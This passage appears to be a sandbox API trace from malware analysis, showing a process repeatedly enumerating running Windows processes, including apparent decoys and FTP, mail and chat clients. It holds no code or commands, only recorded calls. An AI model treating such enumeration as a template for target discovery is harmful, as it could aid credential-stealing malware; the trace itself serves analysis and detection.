Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0272.287] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0272.289] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0272.291] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0272.293] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.296] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0272.298] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.300] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0272.302] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0272.362] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0272.364] CloseHandle (hObject=0x21cc) returned 1 [0272.364] Sleep (dwMilliseconds=0x64) [0272.374] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21cc [0272.390] Process32First (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.392] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.394] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.396] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.398] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.400] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.402] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.404] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.406] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.408] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.409] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.411] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.412] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.414] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.415] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.417] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.419] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.421] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.422] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.424] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.426] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0272.428] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.429] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.431] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0272.432] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0272.434] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0272.436] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0272.437] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0272.439] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0272.440] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0272.442] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.444] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.445] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0272.447] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x614, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0272.449] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.450] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.452] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.454] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0272.455] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0272.457] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0272.458] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0272.460] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0272.462] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0272.463] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0272.465] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0272.466] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0272.468] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0272.470] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0272.471] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0272.473] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0272.474] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0272.476] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0272.509] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0272.511] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0272.512] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0272.514] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0272.515] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0272.517] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0272.520] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0272.522] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0272.524] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0272.526] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0272.528] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0272.530] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0272.532] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0272.536] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0272.538] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0272.541] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0272.543] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0272.545] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0272.547] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0272.550] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0272.552] Process32Next (in: hSnapshot=0x21cc, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, 